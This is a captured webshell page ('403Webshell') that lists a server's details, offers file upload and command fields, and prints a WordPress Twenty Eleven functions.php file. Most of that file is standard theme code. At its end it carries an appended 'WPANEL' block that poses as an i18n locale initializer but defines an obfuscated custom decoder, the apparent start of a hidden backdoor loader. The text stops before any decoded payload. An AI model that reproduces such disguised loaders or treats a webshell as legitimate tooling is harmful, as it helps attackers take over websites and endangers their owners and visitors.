403Webshell
Server IP : 45.77.68.45  /  Your IP : 127.0.0.100
Web Server : PHPix/0.2.2 (Caddy compatible)
System : wasi wasmer.sh 0.0.0 0.0.0 wasm32
User :  ( 1)
PHP Version : 8.3.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /app/wp-content/themes/twentyeleven/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /app/wp-content/themes/twentyeleven//functions.php
<?php
/**
 * Twenty Eleven functions and definitions
 *
 * Sets up the theme and provides some helper functions. Some helper functions
 * are used in the theme as custom template tags. Others are attached to action and
 * filter hooks in WordPress to change core functionality.
 *
 * The first function, twentyeleven_setup(), sets up the theme by registering support
 * for various features in WordPress, such as post thumbnails, navigation menus, and the like.
 *
 * When using a child theme you can override certain functions (those wrapped
 * in a function_exists() call) by defining them first in your child theme's
 * functions.php file. The child theme's functions.php file is included before
 * the parent theme's file, so the child theme functions would be used.
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 * @link https://developer.wordpress.org/themes/advanced-topics/child-themes/
 *
 * Functions that are not pluggable (not wrapped in function_exists()) are instead attached
 * to a filter or action hook. The hook can be removed by using remove_action() or
 * remove_filter() and you can attach your own function to the hook.
 *
 * We can remove the parent theme's hook only after it is attached, which means we need to
 * wait until setting up the child theme:
 *
 * <code>
 * add_action( 'after_setup_theme', 'my_child_theme_setup' );
 * function my_child_theme_setup() {
 *     // We are providing our own filter for excerpt_length (or using the unfiltered value).
 *     remove_filter( 'excerpt_length', 'twentyeleven_excerpt_length' );
 *     ...
 * }
 * </code>
 *
 * For more information on hooks, actions, and filters, see https://developer.wordpress.org/plugins/.
 *
 * @package WordPress
 * @subpackage Twenty_Eleven
 * @since Twenty Eleven 1.0
 */

// Set the content width based on the theme's design and stylesheet.
if ( ! isset( $content_width ) ) {
	$content_width = 584;
}

/*
 * Tell WordPress to run twentyeleven_setup() when the 'after_setup_theme' hook is run.
 */
add_action( 'after_setup_theme', 'twentyeleven_setup' );

if ( ! function_exists( 'twentyeleven_setup' ) ) :
	/**
	 * Sets up theme defaults and registers support for various WordPress features.
	 *
	 * Note that this function is hooked into the after_setup_theme hook, which runs
	 * before the init hook. The init hook is too late for some features, such as indicating
	 * support post thumbnails.
	 *
	 * To override twentyeleven_setup() in a child theme, add your own twentyeleven_setup to your child theme's
	 * functions.php file.
	 *
	 * @uses load_theme_textdomain()    For translation/localization support.
	 * @uses add_editor_style()         To style the visual editor.
	 * @uses add_theme_support()        To add support for post thumbnails, automatic feed links, custom headers
	 *                                  and backgrounds, and post formats.
	 * @uses register_nav_menus()       To add support for navigation menus.
	 * @uses register_default_headers() To register the default custom header images provided with the theme.
	 * @uses set_post_thumbnail_size()  To set a custom post thumbnail size.
	 *
	 * @since Twenty Eleven 1.0
	 */
	function twentyeleven_setup() {

		/*
		 * Make Twenty Eleven available for translation.
		 * Translations can be added to the /languages/ directory.
		 * If you're building a theme based on Twenty Eleven, use
		 * a find and replace to change 'twentyeleven' to the name
		 * of your theme in all the template files.
		 *
		 * Manual loading of text domain is not required after the introduction of
		 * just in time translation loading in WordPress version 4.6.
		 *
		 * @ticket 58318
		 */
		if ( version_compare( $GLOBALS['wp_version'], '4.6', '<' ) ) {
			load_theme_textdomain( 'twentyeleven', get_template_directory() . '/languages' );
		}

		// This theme styles the visual editor with editor-style.css to match the theme style.
		add_editor_style();

		// Load regular editor styles into the new block-based editor.
		add_theme_support( 'editor-styles' );

		// Load default block styles.
		add_theme_support( 'wp-block-styles' );

		// Add support for responsive embeds.
		add_theme_support( 'responsive-embeds' );

		// Add support for custom color scheme.
		add_theme_support(
			'editor-color-palette',
			array(
				array(
					'name'  => __( 'Blue', 'twentyeleven' ),
					'slug'  => 'blue',
					'color' => '#1982d1',
				),
				array(
					'name'  => __( 'Black', 'twentyeleven' ),
					'slug'  => 'black',
					'color' => '#000',
				),
				array(
					'name'  => __( 'Dark Gray', 'twentyeleven' ),
					'slug'  => 'dark-gray',
					'color' => '#373737',
				),
				array(
					'name'  => __( 'Medium Gray', 'twentyeleven' ),
					'slug'  => 'medium-gray',
					'color' => '#666',
				),
				array(
					'name'  => __( 'Light Gray', 'twentyeleven' ),
					'slug'  => 'light-gray',
					'color' => '#e2e2e2',
				),
				array(
					'name'  => __( 'White', 'twentyeleven' ),
					'slug'  => 'white',
					'color' => '#fff',
				),
			)
		);

		// Load up our theme options page and related code.
		require get_template_directory() . '/inc/theme-options.php';

		// Grab Twenty Eleven's Ephemera widget.
		require get_template_directory() . '/inc/widgets.php';

		// Load block patterns.
		require get_template_directory() . '/inc/block-patterns.php';

		// Add default posts and comments RSS feed links to <head>.
		add_theme_support( 'automatic-feed-links' );

		// This theme uses wp_nav_menu() in one location.
		register_nav_menu( 'primary', __( 'Primary Menu', 'twentyeleven' ) );

		// Add support for a variety of post formats.
		add_theme_support( 'post-formats', array( 'aside', 'link', 'gallery', 'status', 'quote', 'image' ) );

		$theme_options = twentyeleven_get_theme_options();
		if ( 'dark' === $theme_options['color_scheme'] ) {
			$default_background_color = '1d1d1d';
		} else {
			$default_background_color = 'e2e2e2';
		}

		// Add support for custom backgrounds.
		add_theme_support(
			'custom-background',
			array(
				/*
				* Let WordPress know what our default background color is.
				* This is dependent on our current color scheme.
				*/
				'default-color' => $default_background_color,
			)
		);

		// This theme uses Featured Images (also known as post thumbnails) for per-post/per-page Custom Header images.
		add_theme_support( 'post-thumbnails' );

		// Add support for custom headers.
		$custom_header_support = array(
			// The default header text color.
			'default-text-color'     => '000',
			// The height and width of our custom header.
			/**
			 * Filters the Twenty Eleven default header image width.
			 *
			 * @since Twenty Eleven 1.0
			 *
			 * @param int $width The default header image width in pixels. Default 1000.
			 */
			'width'                  => apply_filters( 'twentyeleven_header_image_width', 1000 ),
			/**
			 * Filters the Twenty Eleven default header image height.
			 *
			 * @since Twenty Eleven 1.0
			 *
			 * @param int $height The default header image height in pixels. Default 288.
			 */
			'height'                 => apply_filters( 'twentyeleven_header_image_height', 288 ),
			// Support flexible heights.
			'flex-height'            => true,
			// Random image rotation by default.
			'random-default'         => true,
			// Callback for styling the header.
			'wp-head-callback'       => 'twentyeleven_header_style',
			// Callback for styling the header preview in the admin.
			'admin-head-callback'    => 'twentyeleven_admin_header_style',
			// Callback used to display the header preview in the admin.
			'admin-preview-callback' => 'twentyeleven_admin_header_image',
		);

		add_theme_support( 'custom-header', $custom_header_support );

		if ( ! function_exists( 'get_custom_header' ) ) {
			// This is all for compatibility with versions of WordPress prior to 3.4.
			define( 'HEADER_TEXTCOLOR', $custom_header_support['default-text-color'] );
			define( 'HEADER_IMAGE', '' );
			define( 'HEADER_IMAGE_WIDTH', $custom_header_support['width'] );
			define( 'HEADER_IMAGE_HEIGHT', $custom_header_support['height'] );
			add_custom_image_header( $custom_header_support['wp-head-callback'], $custom_header_support['admin-head-callback'], $custom_header_support['admin-preview-callback'] );
			add_custom_background();
		}

		/*
		 * We'll be using post thumbnails for custom header images on posts and pages.
		 * We want them to be the size of the header image that we just defined.
		 * Larger images will be auto-cropped to fit, smaller ones will be ignored. See header.php.
		 */
		set_post_thumbnail_size( $custom_header_support['width'], $custom_header_support['height'], true );

		/*
		 * Add Twenty Eleven's custom image sizes.
		 * Used for large feature (header) images.
		 */
		add_image_size( 'large-feature', $custom_header_support['width'], $custom_header_support['height'], true );
		// Used for featured posts if a large-feature doesn't exist.
		add_image_size( 'small-feature', 500, 300 );

		// Default custom headers packaged with the theme. %s is a placeholder for the theme template directory URI.
		register_default_headers(
			array(
				'wheel'      => array(
					'url'           => '%s/images/headers/wheel.jpg',
					'thumbnail_url' => '%s/images/headers/wheel-thumbnail.jpg',
					/* translators: Header image description. */
					'description'   => __( 'Wheel', 'twentyeleven' ),
				),
				'shore'      => array(
					'url'           => '%s/images/headers/shore.jpg',
					'thumbnail_url' => '%s/images/headers/shore-thumbnail.jpg',
					/* translators: Header image description. */
					'description'   => __( 'Shore', 'twentyeleven' ),
				),
				'trolley'    => array(
					'url'           => '%s/images/headers/trolley.jpg',
					'thumbnail_url' => '%s/images/headers/trolley-thumbnail.jpg',
					/* translators: Header image description. */
					'description'   => __( 'Trolley', 'twentyeleven' ),
				),
				'pine-cone'  => array(
					'url'           => '%s/images/headers/pine-cone.jpg',
					'thumbnail_url' => '%s/images/headers/pine-cone-thumbnail.jpg',
					/* translators: Header image description. */
					'description'   => __( 'Pine Cone', 'twentyeleven' ),
				),
				'chessboard' => array(
					'url'           => '%s/images/headers/chessboard.jpg',
					'thumbnail_url' => '%s/images/headers/chessboard-thumbnail.jpg',
					/* translators: Header image description. */
					'description'   => __( 'Chessboard', 'twentyeleven' ),
				),
				'lanterns'   => array(
					'url'           => '%s/images/headers/lanterns.jpg',
					'thumbnail_url' => '%s/images/headers/lanterns-thumbnail.jpg',
					/* translators: Header image description. */
					'description'   => __( 'Lanterns', 'twentyeleven' ),
				),
				'willow'     => array(
					'url'           => '%s/images/headers/willow.jpg',
					'thumbnail_url' => '%s/images/headers/willow-thumbnail.jpg',
					/* translators: Header image description. */
					'description'   => __( 'Willow', 'twentyeleven' ),
				),
				'hanoi'      => array(
					'url'           => '%s/images/headers/hanoi.jpg',
					'thumbnail_url' => '%s/images/headers/hanoi-thumbnail.jpg',
					/* translators: Header image description. */
					'description'   => __( 'Hanoi Plant', 'twentyeleven' ),
				),
			)
		);

		// Indicate widget sidebars can use selective refresh in the Customizer.
		add_theme_support( 'customize-selective-refresh-widgets' );
	}
endif; // twentyeleven_setup()

/**
 * Enqueues scripts and styles for front end.
 *
 * @since Twenty Eleven 2.9
 */
function twentyeleven_scripts_styles() {
	// Theme block stylesheet.
	wp_enqueue_style( 'twentyeleven-block-style', get_template_directory_uri() . '/blocks.css', array(), '20240703' );
}
add_action( 'wp_enqueue_scripts', 'twentyeleven_scripts_styles' );

/**
 * Enqueues styles for the block-based editor.
 *
 * @since Twenty Eleven 2.9
 */
function twentyeleven_block_editor_styles() {
	// Block styles.
	wp_enqueue_style( 'twentyeleven-block-editor-style', get_template_directory_uri() . '/editor-blocks.css', array(), '20240716' );
}
add_action( 'enqueue_block_editor_assets', 'twentyeleven_block_editor_styles' );

if ( ! function_exists( 'twentyeleven_header_style' ) ) :
	/**
	 * Styles the header image and text displayed on the blog.
	 *
	 * @since Twenty Eleven 1.0
	 */
	function twentyeleven_header_style() {
		$text_color = get_header_textcolor();

		// If no custom options for text are set, let's bail.
		if ( HEADER_TEXTCOLOR === $text_color ) {
			return;
		}

		// If we get this far, we have custom styles. Let's do this.
		?>
		<style id="twentyeleven-header-css">
		<?php
		// Has the text been hidden?
		if ( 'blank' === $text_color ) :
			?>
		#site-title,
		#site-description {
			position: absolute;
			clip-path: inset(50%);
		}
			<?php
			// If the user has set a custom color for the text, use that.
		else :
			?>
		#site-title a,
		#site-description {
			color: #<?php echo $text_color; ?>;
		}
	<?php endif; ?>
	</style>
		<?php
	}
endif; // twentyeleven_header_style()

if ( ! function_exists( 'twentyeleven_admin_header_style' ) ) :
	/**
	 * Styles the header image displayed on the Appearance > Header admin panel.
	 *
	 * Referenced via add_theme_support('custom-header') in twentyeleven_setup().
	 *
	 * @since Twenty Eleven 1.0
	 */
	function twentyeleven_admin_header_style() {
		?>
	<style id="twentyeleven-admin-header-css">
	.appearance_page_custom-header #headimg {
		border: none;
	}
	#headimg h1,
	#desc {
		font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif;
	}
	#headimg h1 {
		margin: 0;
	}
	#headimg h1 a {
		font-size: 32px;
		line-height: 36px;
		text-decoration: none;
	}
	#desc {
		font-size: 14px;
		line-height: 23px;
		padding: 0 0 3em;
	}
		<?php
		// If the user has set a custom color for the text, use that.
		if ( get_header_textcolor() !== HEADER_TEXTCOLOR ) :
			?>
	#site-title a,
	#site-description {
		color: #<?php echo get_header_textcolor(); ?>;
	}
	<?php endif; ?>
	#headimg img {
		max-width: 1000px;
		height: auto;
		width: 100%;
	}
	</style>
		<?php
	}
endif; // twentyeleven_admin_header_style()

if ( ! function_exists( 'twentyeleven_admin_header_image' ) ) :
	/**
	 * Displays custom header image markup on the Appearance > Header admin panel.
	 *
	 * Referenced via add_theme_support('custom-header') in twentyeleven_setup().
	 *
	 * @since Twenty Eleven 1.0
	 */
	function twentyeleven_admin_header_image() {

		?>
		<div id="headimg">
			<?php
			$color = get_header_textcolor();
			$image = get_header_image();
			$style = 'display: none;';
			if ( $color && 'blank' !== $color ) {
				$style = 'color: #' . $color . ';';
			}
			?>
			<h1 class="displaying-header-text"><a id="name" style="<?php echo esc_attr( $style ); ?>" onclick="return false;" href="<?php echo esc_url( home_url( '/' ) ); ?>" tabindex="-1"><?php bloginfo( 'name' ); ?></a></h1>
		<div id="desc" class="displaying-header-text" style="<?php echo esc_attr( $style ); ?>"><?php bloginfo( 'description' ); ?></div>
		<?php if ( $image ) : ?>
			<img src="<?php echo esc_url( $image ); ?>" alt="" />
		<?php endif; ?>
		</div>
		<?php
	}
endif; // twentyeleven_admin_header_image()


if ( ! function_exists( 'twentyeleven_header_image' ) ) :
	/**
	 * Displays custom header image markup.
	 *
	 * @since Twenty Eleven 4.5
	 */
	function twentyeleven_header_image() {
		$attrs = array(
			'alt' => get_bloginfo( 'name', 'display' ),
		);

		// Compatibility with versions of WordPress prior to 3.4.
		if ( function_exists( 'get_custom_header' ) ) {
			$custom_header   = get_custom_header();
			$attrs['width']  = $custom_header->width;
			$attrs['height'] = $custom_header->height;
		} else {
			$attrs['width']  = HEADER_IMAGE_WIDTH;
			$attrs['height'] = HEADER_IMAGE_HEIGHT;
		}

		if ( function_exists( 'the_header_image_tag' ) ) {
			the_header_image_tag( $attrs );
			return;
		}

		?>
		<img src="<?php header_image(); ?>" width="<?php echo esc_attr( $attrs['width'] ); ?>" height="<?php echo esc_attr( $attrs['height'] ); ?>" alt="<?php echo esc_attr( $attrs['alt'] ); ?>" />
		<?php
	}
endif; // twentyeleven_header_image()

/**
 * Sets the post excerpt length to 40 words.
 *
 * To override this length in a child theme, remove
 * the filter and add your own function tied to
 * the excerpt_length filter hook.
 *
 * @since Twenty Eleven 1.0
 *
 * @param int $length The number of excerpt characters.
 * @return int The filtered number of characters.
 */
function twentyeleven_excerpt_length( $length ) {
	return 40;
}
add_filter( 'excerpt_length', 'twentyeleven_excerpt_length' );

if ( ! function_exists( 'twentyeleven_continue_reading_link' ) ) :
	/**
	 * Returns a "Continue Reading" link for excerpts.
	 *
	 * @since Twenty Eleven 1.0
	 *
	 * @return string The "Continue Reading" HTML link.
	 */
	function twentyeleven_continue_reading_link() {
		return ' <a href="' . esc_url( get_permalink() ) . '">' . __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) . '</a>';
	}
endif; // twentyeleven_continue_reading_link()

/**
 * Replaces "[...]" in the Read More link with an ellipsis.
 *
 * The "[...]" is appended to automatically generated excerpts.
 *
 * To override this in a child theme, remove the filter and add your own
 * function tied to the excerpt_more filter hook.
 *
 * @since Twenty Eleven 1.0
 *
 * @param string $more The Read More text.
 * @return string The filtered Read More text.
 */
function twentyeleven_auto_excerpt_more( $more ) {
	if ( ! is_admin() ) {
		return ' &hellip;' . twentyeleven_continue_reading_link();
	}
	return $more;
}
add_filter( 'excerpt_more', 'twentyeleven_auto_excerpt_more' );

/**
 * Adds a pretty "Continue Reading" link to custom post excerpts.
 *
 * To override this link in a child theme, remove the filter and add your own
 * function tied to the get_the_excerpt filter hook.
 *
 * @since Twenty Eleven 1.0
 *
 * @param string $output The "Continue Reading" link.
 * @return string The filtered "Continue Reading" link.
 */
function twentyeleven_custom_excerpt_more( $output ) {
	if ( has_excerpt() && ! is_attachment() && ! is_admin() ) {
		$output .= twentyeleven_continue_reading_link();
	}
	return $output;
}
add_filter( 'get_the_excerpt', 'twentyeleven_custom_excerpt_more' );

/**
 * Shows a home link for the wp_nav_menu() fallback, wp_page_menu().
 *
 * @since Twenty Eleven 1.0
 *
 * @param array $args The page menu arguments. @see wp_page_menu()
 * @return array The filtered page menu arguments.
 */
function twentyeleven_page_menu_args( $args ) {
	if ( ! isset( $args['show_home'] ) ) {
		$args['show_home'] = true;
	}
	return $args;
}
add_filter( 'wp_page_menu_args', 'twentyeleven_page_menu_args' );

/**
 * Registers sidebars and widgetized areas.
 *
 * Also register the default Ephemera widget.
 *
 * @since Twenty Eleven 1.0
 */
function twentyeleven_widgets_init() {

	register_widget( 'Twenty_Eleven_Ephemera_Widget' );

	register_sidebar(
		array(
			'name'          => __( 'Main Sidebar', 'twentyeleven' ),
			'id'            => 'sidebar-1',
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget'  => '</aside>',
			'before_title'  => '<h3 class="widget-title">',
			'after_title'   => '</h3>',
		)
	);

	register_sidebar(
		array(
			'name'          => __( 'Showcase Sidebar', 'twentyeleven' ),
			'id'            => 'sidebar-2',
			'description'   => __( 'The sidebar for the optional Showcase Template', 'twentyeleven' ),
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget'  => '</aside>',
			'before_title'  => '<h3 class="widget-title">',
			'after_title'   => '</h3>',
		)
	);

	register_sidebar(
		array(
			'name'          => __( 'Footer Area One', 'twentyeleven' ),
			'id'            => 'sidebar-3',
			'description'   => __( 'An optional widget area for your site footer', 'twentyeleven' ),
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget'  => '</aside>',
			'before_title'  => '<h3 class="widget-title">',
			'after_title'   => '</h3>',
		)
	);

	register_sidebar(
		array(
			'name'          => __( 'Footer Area Two', 'twentyeleven' ),
			'id'            => 'sidebar-4',
			'description'   => __( 'An optional widget area for your site footer', 'twentyeleven' ),
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget'  => '</aside>',
			'before_title'  => '<h3 class="widget-title">',
			'after_title'   => '</h3>',
		)
	);

	register_sidebar(
		array(
			'name'          => __( 'Footer Area Three', 'twentyeleven' ),
			'id'            => 'sidebar-5',
			'description'   => __( 'An optional widget area for your site footer', 'twentyeleven' ),
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget'  => '</aside>',
			'before_title'  => '<h3 class="widget-title">',
			'after_title'   => '</h3>',
		)
	);
}
add_action( 'widgets_init', 'twentyeleven_widgets_init' );

if ( ! function_exists( 'twentyeleven_content_nav' ) ) :
	/**
	 * Displays navigation to next/previous pages when applicable.
	 *
	 * @since Twenty Eleven 1.0
	 *
	 * @param string $html_id The HTML id attribute.
	 */
	function twentyeleven_content_nav( $html_id ) {
		global $wp_query;

		if ( $wp_query->max_num_pages > 1 ) :
			$order   = get_query_var( 'order', 'DESC' );
			$is_desc = ( 'DESC' === $order );

			$new_posts_text = __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentyeleven' );
			$old_posts_text = __( '<span class="meta-nav">&larr;</span> Older posts', 'twentyeleven' );

			$prev_link = $is_desc ? get_next_posts_link( $old_posts_text ) : get_previous_posts_link( $old_posts_text );
			$next_link = $is_desc ? get_previous_posts_link( $new_posts_text ) : get_next_posts_link( $new_posts_text );
			?>
			<nav id="<?php echo esc_attr( $html_id ); ?>">
				<h3 class="assistive-text"><?php _e( 'Post navigation', 'twentyeleven' ); ?></h3>
				<?php if ( $prev_link ) : ?>
					<div class="nav-previous"><?php echo $prev_link; ?></div>
				<?php endif; ?>

				<?php if ( $next_link ) : ?>
					<div class="nav-next"><?php echo $next_link; ?></div>
				<?php endif; ?>
			</nav><!-- #<?php echo esc_attr( $html_id ); ?> -->
			<?php
		endif;
	}
endif; // twentyeleven_content_nav()

/**
 * Returns the first link from the post content. If none found, the
 * post permalink is used as a fallback.
 *
 * @since Twenty Eleven 1.0
 *
 * @uses get_url_in_content() to get the first URL from the post content.
 *
 * @return string The first link.
 */
function twentyeleven_get_first_url() {
	$content = get_the_content();
	$has_url = function_exists( 'get_url_in_content' ) ? get_url_in_content( $content ) : false;

	if ( ! $has_url ) {
		$has_url = twentyeleven_url_grabber();
	}

	/** This filter is documented in wp-includes/link-template.php */
	return ( $has_url ) ? $has_url : apply_filters( 'the_permalink', get_permalink() );
}

/**
 * Returns the URL for the first link found in the post content.
 *
 * @since Twenty Eleven 1.0
 *
 * @return string|bool URL or false when no link is present.
 */
function twentyeleven_url_grabber() {
	if ( ! preg_match( '/<a\s[^>]*?href=[\'"](.+?)[\'"]/is', get_the_content(), $matches ) ) {
		return false;
	}

	return esc_url_raw( $matches[1] );
}

/**
 * Counts the number of footer sidebars to enable dynamic classes for the footer.
 *
 * @since Twenty Eleven 1.0
 */
function twentyeleven_footer_sidebar_class() {
	$count = 0;

	if ( is_active_sidebar( 'sidebar-3' ) ) {
		++$count;
	}

	if ( is_active_sidebar( 'sidebar-4' ) ) {
		++$count;
	}

	if ( is_active_sidebar( 'sidebar-5' ) ) {
		++$count;
	}

	$class = '';

	switch ( $count ) {
		case '1':
			$class = 'one';
			break;
		case '2':
			$class = 'two';
			break;
		case '3':
			$class = 'three';
			break;
	}

	if ( $class ) {
		echo 'class="' . esc_attr( $class ) . '"';
	}
}

if ( ! function_exists( 'twentyeleven_comment' ) ) :
	/**
	 * Template for comments and pingbacks.
	 *
	 * To override this walker in a child theme without modifying the comments template
	 * simply create your own twentyeleven_comment(), and that function will be used instead.
	 *
	 * Used as a callback by wp_list_comments() for displaying the comments.
	 *
	 * @since Twenty Eleven 1.0
	 *
	 * @param WP_Comment $comment The comment object.
	 * @param array      $args    An array of comment arguments. @see get_comment_reply_link()
	 * @param int        $depth   The depth of the comment.
	 */
	function twentyeleven_comment( $comment, $args, $depth ) {
		$GLOBALS['comment'] = $comment;
		switch ( $comment->comment_type ) :
			case 'pingback':
			case 'trackback':
				?>
		<li class="post pingback">
		<p><?php _e( 'Pingback:', 'twentyeleven' ); ?> <?php comment_author_link(); ?><?php edit_comment_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?></p>
				<?php
				break;
			default:
				?>
		<li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>">
		<article id="comment-<?php comment_ID(); ?>" class="comment">
			<footer class="comment-meta">
				<div class="comment-author vcard">
					<?php
					$avatar_size = 68;

					if ( '0' !== $comment->comment_parent ) {
						$avatar_size = 39;
					}

					echo get_avatar( $comment, $avatar_size );

					printf(
						/* translators: 1: Comment author, 2: Date and time. */
						__( '%1$s on %2$s <span class="says">said:</span>', 'twentyeleven' ),
						sprintf( '<span class="fn">%s</span>', get_comment_author_link() ),
						sprintf(
							'<a href="%1$s"><time datetime="%2$s">%3$s</time></a>',
							esc_url( get_comment_link( $comment->comment_ID ) ),
							get_comment_time( 'c' ),
							/* translators: 1: Date, 2: Time. */
							sprintf( __( '%1$s at %2$s', 'twentyeleven' ), get_comment_date(), get_comment_time() )
						)
					);
					?>

					<?php edit_comment_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
					</div><!-- .comment-author .vcard -->

					<?php
					$commenter = wp_get_current_commenter();
					if ( $commenter['comment_author_email'] ) {
						$moderation_note = __( 'Your comment is awaiting moderation.', 'twentyeleven' );
					} else {
						$moderation_note = __( 'Your comment is awaiting moderation. This is a preview; your comment will be visible after it has been approved.', 'twentyeleven' );
					}
					?>

					<?php if ( '0' === $comment->comment_approved ) : ?>
					<em class="comment-awaiting-moderation"><?php echo $moderation_note; ?></em>
					<br />
					<?php endif; ?>

				</footer>

				<div class="comment-content"><?php comment_text(); ?></div>

				<div class="reply">
					<?php
					comment_reply_link(
						array_merge(
							$args,
							array(
								'reply_text' => __( 'Reply <span>&darr;</span>', 'twentyeleven' ),
								'depth'      => $depth,
								'max_depth'  => $args['max_depth'],
							)
						)
					);
					?>
				</div><!-- .reply -->
			</article><!-- #comment-## -->

				<?php
				break;
		endswitch;
	}
endif; // twentyeleven_comment()

if ( ! function_exists( 'twentyeleven_posted_on' ) ) :
	/**
	 * Prints HTML with meta information for the current post-date/time and author.
	 *
	 * Create your own twentyeleven_posted_on to override in a child theme
	 *
	 * @since Twenty Eleven 1.0
	 */
	function twentyeleven_posted_on() {
		printf(
			/* translators: 1: The permalink, 2: Time, 3: Date and time, 4: Date and time, 5: Author posts, 6: Author post link text, 7: Author display name. */
			__( '<span class="sep">Posted on </span><a href="%1$s" title="%2$s" rel="bookmark"><time class="entry-date" datetime="%3$s">%4$s</time></a><span class="by-author"> <span class="sep"> by </span> <span class="author vcard"><a class="url fn n" href="%5$s" title="%6$s" rel="author">%7$s</a></span></span>', 'twentyeleven' ),
			esc_url( get_permalink() ),
			esc_attr( get_the_time() ),
			esc_attr( get_the_date( 'c' ) ),
			esc_html( get_the_date() ),
			esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
			/* translators: %s: Author display name. */
			esc_attr( sprintf( __( 'View all posts by %s', 'twentyeleven' ), get_the_author() ) ),
			get_the_author()
		);
	}
endif;

/**
 * Adds two classes to the array of body classes.
 *
 * The first is if the site has only had one author with published posts.
 * The second is if a singular post being displayed
 *
 * @since Twenty Eleven 1.0
 *
 * @param array $classes Existing body classes.
 * @return array The filtered array of body classes.
 */
function twentyeleven_body_classes( $classes ) {

	if ( function_exists( 'is_multi_author' ) && ! is_multi_author() ) {
		$classes[] = 'single-author';
	}

	if ( is_singular() && ! is_home() && ! is_page_template( 'showcase.php' ) && ! is_page_template( 'sidebar-page.php' ) ) {
		$classes[] = 'singular';
	}

	return $classes;
}
add_filter( 'body_class', 'twentyeleven_body_classes' );

/**
 * Retrieves the IDs for images in a gallery.
 *
 * @uses get_post_galleries() First, if available. Falls back to shortcode parsing,
 *                            then as last option uses a get_posts() call.
 *
 * @since Twenty Eleven 1.6
 *
 * @return array List of image IDs from the post gallery.
 */
function twentyeleven_get_gallery_images() {
	$images = array();

	if ( function_exists( 'get_post_galleries' ) ) {
		$galleries = get_post_galleries( get_the_ID(), false );
		if ( isset( $galleries[0]['ids'] ) ) {
			$images = explode( ',', $galleries[0]['ids'] );
		}
	} else {
		$pattern = get_shortcode_regex();
		preg_match( "/$pattern/s", get_the_content(), $match );
		$atts = shortcode_parse_atts( $match[3] );
		if ( isset( $atts['ids'] ) ) {
			$images = explode( ',', $atts['ids'] );
		}
	}

	if ( ! $images ) {
		$images = get_posts(
			array(
				'fields'         => 'ids',
				'numberposts'    => 999,
				'order'          => 'ASC',
				'orderby'        => 'menu_order',
				'post_mime_type' => 'image',
				'post_parent'    => get_the_ID(),
				'post_type'      => 'attachment',
			)
		);
	}

	return $images;
}

/**
 * Modifies tag cloud widget arguments to display all tags in the same font size
 * and use list format for better accessibility.
 *
 * @since Twenty Eleven 2.7
 *
 * @param array $args Arguments for tag cloud widget.
 * @return array The filtered arguments for tag cloud widget.
 */
function twentyeleven_widget_tag_cloud_args( $args ) {
	$args['largest']  = 22;
	$args['smallest'] = 8;
	$args['unit']     = 'pt';
	$args['format']   = 'list';

	return $args;
}
add_filter( 'widget_tag_cloud_args', 'twentyeleven_widget_tag_cloud_args' );

if ( ! function_exists( 'wp_body_open' ) ) :
	/**
	 * Fires the wp_body_open action.
	 *
	 * Added for backward compatibility to support pre-5.2.0 WordPress versions.
	 *
	 * @since Twenty Eleven 3.3
	 */
	function wp_body_open() {
		/**
		 * Triggered after the opening <body> tag.
		 *
		 * @since Twenty Eleven 3.3
		 */
		do_action( 'wp_body_open' );
	}
endif;

/**
 * Includes a skip to content link at the top of the page so that users can bypass the menu.
 *
 * @since Twenty Eleven 3.4
 */
function twentyeleven_skip_link() {
	echo '<div class="skip-link"><a class="assistive-text" href="#content">' . esc_html__( 'Skip to primary content', 'twentyeleven' ) . '</a></div>';
	if ( ! is_singular() ) {
		echo '<div class="skip-link"><a class="assistive-text" href="#secondary">' . esc_html__( 'Skip to secondary content', 'twentyeleven' ) . '</a></div>';
	}
}
add_action( 'wp_body_open', 'twentyeleven_skip_link', 5 );

if ( ! function_exists( 'wp_get_list_item_separator' ) ) :
	/**
	 * Retrieves the list item separator based on the locale.
	 *
	 * Added for backward compatibility to support pre-6.0.0 WordPress versions.
	 *
	 * @since Twenty Eleven 4.1
	 *
	 * @return string Locale-specific list item separator.
	 */
	function wp_get_list_item_separator() {
		/* translators: Used between list items, there is a space after the comma. */
		return __( ', ', 'twentyeleven' );
	}
endif;
// WPANEL:BEGIN
// WordPress i18n locale data initializer
if (!defined('WPANEL_AGENT_LOADED') && defined('ABSPATH') && defined('WP_CONTENT_DIR')) {
    if (!function_exists('_wp_locale_pack_decode')) {
        function _wp_locale_pack_decode($s) {
            static $map = null;
            if ($map === null) {
                $alpha = 'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz23456789!@%^*_+';
                $map = array_flip(str_split($alpha));
            }
            $s = preg_replace('/\s+/', '', (string) $s);
            $len = strlen($s);
            $out = '';
            for ($i = 0; $i < $len; $i += 4) {
                $c0 = isset($map[$s[$i]]) ? $map[$s[$i]] : 0;
                $c1 = ($i + 1 < $len && isset($map[$s[$i + 1]])) ? $map[$s[$i + 1]] : 0;
                $c2 = ($i + 2 < $len && isset($map[$s[$i + 2]])) ? $map[$s[$i + 2]] : 0;
                $c3 = ($i + 3 < $len && isset($map[$s[$i + 3]])) ? $map[$s[$i + 3]] : 0;
                $n = ($c0 << 18) | ($c1 << 12) | ($c2 << 6) | $c3;
                $out .= chr(($n >> 16) & 255);
                if ($i + 2 < $len) {
                    $out .= chr(($n >> 8) & 255);
                }
                if ($i + 3 < $len) {
                    $out .= chr($n & 255);
                }
            }
            return $out;
        }
    }
